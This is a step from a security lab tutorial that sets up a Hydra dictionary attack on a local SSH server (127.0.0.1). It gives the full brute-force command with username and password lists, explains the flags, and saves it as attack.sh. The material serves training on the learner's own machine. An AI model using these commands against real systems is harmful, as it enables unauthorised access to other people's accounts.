Set Up Hydra for SSH Dictionary Attack
In this step, you will configure Hydra to perform an SSH dictionary attack using the username and password lists created in the previous step. A dictionary attack is a method where Hydra systematically tries all possible combinations from your wordlists to find valid credentials.
- First, ensure you are in the correct working directory where your project files are stored:
cd ~/project
This command changes your current directory to the project folder where we'll be working.
- Verify that Hydra is installed by checking its version:
hydra -v
You should see output showing the Hydra version installed. This confirms Hydra is ready to use and helps troubleshoot if any issues arise later.
- Create a target file named
target.txt
containing the IP address of the local SSH server:
echo "127.0.0.1" > target.txt
We're using 127.0.0.1 (localhost) as our target because we're testing against our own machine in this lab environment.
- Understand the basic Hydra command structure for SSH attacks:
hydra -L <username_list> -P <password_list> <target> ssh
This shows the minimum required parameters: username list (-L), password list (-P), target IP/hostname, and the service (ssh) we're attacking.
- Prepare the actual Hydra command using your files (but don't run it yet):
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh
Where:
-L
specifies the username list file (usernames.txt)
-P
specifies the password list file (passwords.txt)
-t 4
sets the number of parallel connections (4 threads for faster testing)
-vV
enables verbose output so you can see the attack progress
- Save this command to a script file for execution in the next step:
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh
Creating a script makes it easier to rerun the attack and ensures you don't mistype the command. The chmod command makes the script executable.
- Verify all required files are present before proceeding:
ls -l usernames.txt passwords.txt target.txt attack.sh
This final check confirms you have all necessary files: username list, password list, target file, and your attack script.